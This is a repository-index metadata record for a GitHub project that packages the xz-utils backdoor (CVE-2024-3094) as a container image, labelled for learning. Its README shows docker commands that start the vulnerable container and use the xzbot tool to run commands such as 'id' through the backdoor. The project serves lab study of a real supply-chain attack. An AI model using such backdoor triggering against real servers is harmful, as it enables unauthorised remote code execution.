{"id":24976888,"url":"https://github.com/rezigned/xz-backdoor","last_synced_at":"2025-04-11T14:13:25.460Z","repository":{"id":231177887,"uuid":"781039190","full_name":"rezigned/xz-backdoor","owner":"rezigned","description":"An xz-backdoor container image based on the xzbot project for learning purpose","archived":false,"fork":false,"pushed_at":"2024-04-09T14:03:08.000Z","size":1359,"stargazers_count":7,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-25T10:21:35.639Z","etag":null,"topics":["containers","docker","podman","xz","xz-utils"],"latest_commit_sha":null,"homepage":"https://hub.docker.com/r/rezigned/xz-backdoor","language":"Dockerfile","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/rezigned.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null},"funding":{"github":"rezigned","polar":"rezigned","buy_me_a_coffee":"rezigned"}},"created_at":"2024-04-02T16:28:38.000Z","updated_at":"2025-01-15T11:24:46.000Z","dependencies_parsed_at":"2024-04-09T15:28:57.744Z","dependency_job_id":null,"html_url":"https://github.com/rezigned/xz-backdoor","commit_stats":null,"previous_names":["rezigned/xz-backdoor-container-image","rezigned/xz-backdoor"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rezigned%2Fxz-backdoor","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rezigned%2Fxz-backdoor/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rezigned%2Fxz-backdoor/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rezigned%2Fxz-backdoor/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rezigned","download_url":"https://codeload.github.com/rezigned/xz-backdoor/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248415063,"owners_count":21099593,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["containers","docker","podman","xz","xz-utils"],"created_at":"2025-02-03T22:59:31.698Z","updated_at":"2025-04-11T14:13:25.438Z","avatar_url":"https://github.com/rezigned.png","language":"Dockerfile","readme":"# xz backdoor container image\n\nThe container image of [xz](https://tukaani.org/xz-backdoor/) backdoor ([CVE-2024-3094](https://nvd.nist.gov/vuln/detail/CVE-2024-3094)) based on an amazing work from [@amlweems](https://github.com/amlweems)'s [xzbot](https://github.com/amlweems/xzbot) project that can be run on both *x86_64* and *Apple Silicon* (via QEMU or rosetta).\n\n\u003e THIS IS FOR LEARNING PURPOSE ONLY!\n\n## Demo\n![xz-backdoor demo](.github/demo.gif)\n\n## Overview\nThe `xz-backdoor` container images don't rely on `systemd` due to the fact that the exploit can be triggered with only just `sshd` if certain conditions are met.\nAs a result, it allows us to start the container without `--privileged` flag which is considered insecure.\n\n### Versions\nBoth versions of the xz-backdoor are available as image tags.\n\n* 5.6.0\n* 5.6.1 (`latest`)\n\n## Getting started\n\n### Prerequisites\n\n* [docker](https://www.docker.com/) or [podman](https://podman.io/docs/installation).\n* Read [xzbot](https://github.com/amlweems/xzbot)'s documentation.\n\n### Usage\n**1. Start the container image**\n\n\u003e [!TIP]\n\u003e A specific version of liblzma can be specified via image tag e.g. `rezigned/xz-backdoor:5.6.0`.\n\n```sh\ndocker run --rm -it -d \\\n  --name xz-backdoor \\\n  --platform linux/amd64 \\\n  rezigned/xz-backdoor:latest\n```\n\n**2. Run a command via `xzbot`**\n\n\u003e [!NOTE]\n\u003e The output of the default command (`id`) is redirected to `/tmp/.xz`.\n\u003e\n\u003e See https://github.com/amlweems/xzbot for more details.\n\n```sh\n# default command `id \u003e /tmp/.xz`\ndocker exec -it `docker ps -f name=xz-backdoor -q` ./xzbot\n\n# custom command\ndocker exec -it `docker ps -f name=xz-backdoor -q` ./xzbot -cmd \"uname -a \u003e /tmp/.xz\"\n```\n\n## Acknowledgements\n* https://edofic.com/posts/2021-09-12-podman-m1-amd64/\n* https://github.com/amlweems/xzbot\n* https://www.openwall.com/lists/oss-security/2024/03/29/4\n* https://github.com/LewisGaul/systemd-containers\n","funding_links":["https://github.com/sponsors/rezigned","https://polar.sh/rezigned","https://buymeacoffee.com/rezigned"],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frezigned%2Fxz-backdoor","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frezigned%2Fxz-backdoor","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frezigned%2Fxz-backdoor/lists"}